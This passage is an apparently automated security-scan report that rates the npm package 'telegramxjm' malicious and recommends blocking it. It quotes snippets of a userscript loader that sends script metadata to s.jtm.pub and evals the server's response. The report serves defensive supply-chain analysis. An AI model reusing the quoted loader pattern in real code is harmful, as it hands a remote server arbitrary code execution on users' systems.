The remote server therefore controls code executed in the userscript context. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 98.0% - **Started:** 2026-08-31T11:46:25.711Z - **Finished:** 2026-08-31T11:46:54.486Z - **Download time:** 257 ms - **Static scan time:** 15 ms - **AI review time:** 28502 ms - **Total time:** 28775 ms ## Security analysis ### Published attack-surface review - **Summary:** A bundled userscript-style loader contacts a third-party host with script metadata and evaluates the returned text. The remote server therefore controls code executed in the userscript context. - **Trigger:** Loading either downloader file in an environment providing GM\_info and GM\_xmlhttpRequest. - **Impact:** The endpoint can run arbitrary code with the permissions of the userscript manager and receive identifying script metadata. - **Evidence paths:** downloader.all.js, downloader.test.js - **Review source:** ai\_review - **Reviewed:** 2026-08-31T11:46:54.486Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Remote response fetched and evaluated as code. - **Attack narrative:** When loaded as a userscript, the code collects metadata from GM\_info.script, sends it to s.jtm.pub, and passes the returned response directly to eval. This gives the remote service control of executable code in the userscript context. The duplicate loader reinforces that this is intentional rather than an unused library primitive. - **Rationale:** The package contains an active remote code loader that evaluates unverified server content. Although it has no npm lifecycle hook, this is concrete arbitrary code execution when the bundled files are loaded in their intended userscript environment. - **Files touched:** downloader.all.js, downloader.test.js, sp\_req\_daily - **Network endpoints:** https://s.jtm.pub/api/sp/lib ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** downloader.all.js sends userscript metadata to s.jtm.pub and executes the response with eval., The same remote-code loader is duplicated in downloader.test.js., The manifest names a missing index.js entry point, so the loader is not a normal usable npm module. - **Evidence against:** package.json contains no preinstall, install, or postinstall hook., No filesystem, shell, or credential-harvesting code was found in the inspected files. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. High: Eval - **Category:** Source - **Confidence:** 80.0% - **Path:** downloader.all.js - **Public source:** [View source]() Package source references dynamic code evaluation. Public source snippet (untrusted): ```javascript L1: (function(a,b){if("function"==typeof define&&define.amd)define([],b);else if("undefined"!=typeof exports)b();else{b(),a.FileSaver={exports:{}}.exports}})(this,function(){"use stric...

L3: //# sourceMappingURL=FileSaver.min.js.map ``` ### 3. Critical: Remote Asset Decode Execute - **Category:** Source - **Confidence:** 90.0% - **Path:** downloader.all.js - **Public source:** [View source]() Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload. Public source snippet (untrusted): ```javascript L1: (function(a,b){if("function"==typeof define&&define.amd)define([],b);else if("undefined"!=typeof exports)b();else{b(),a.FileSaver={exports:{}}.exports}})(this,function(){"use stric...

L3: //# sourceMappingURL=FileSaver.min.js.map ``` ### 4. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 5. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 75.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** downloader.all.js - **Public source:** [View source]() downloader.all.js sends userscript metadata to s.jtm.pub and executes the response with eval. Public source snippet (untrusted): ```javascript const{author:author,name:name,version:version,namespace:namespace,updateURL:updateURL}=GM_info.script,jurl="https://s.jtm.pub/api/sp/lib?author="+encodeURIComponent(author)+"&name="+encodeURIComponent(name)+"&version="+encodeURIComponent(version)+"&namespace="+encodeURIComponent(namespace)+"&updateURL="+encodeURIComponent(updateURL)+"×tamp="+Date.now(); ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** downloader.all.js - **Public source:** [View source]() downloader.all.js sends userscript metadata to s.jtm.pub and executes the response with eval. Public source snippet (untrusted): ```javascript GM_xmlhttpRequest({method:"GET",url:jurl,onload:function(res){const responseText=res.responseText;responseText&&eval(responseText)} ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** downloader.test.js - **Public source:** [View source]() The same remote-code loader is duplicated in downloader.test.js. Public source snippet (untrusted): ```javascript GM_xmlhttpRequest({method:"GET",url:jurl,onload:function(res){const responseText=res.responseText;responseText&&eval(responseText)} ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** telegramxjm - **Ecosystem:** npm - **Version:** 1.0.1 - **License:** ISC - **Version published:** 2026-08-31T10:45:09.897Z - **Package first seen:** 2026-08-31T11:46:54.486Z - **Package last seen:** 2026-08-31T11:46:54.486Z - **Known versions:** 1 - **Latest version:** 1.0.1 - **Appeal under review:** No - **Artifact files:** 3 - **Artifact unpacked size:** 7,755 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
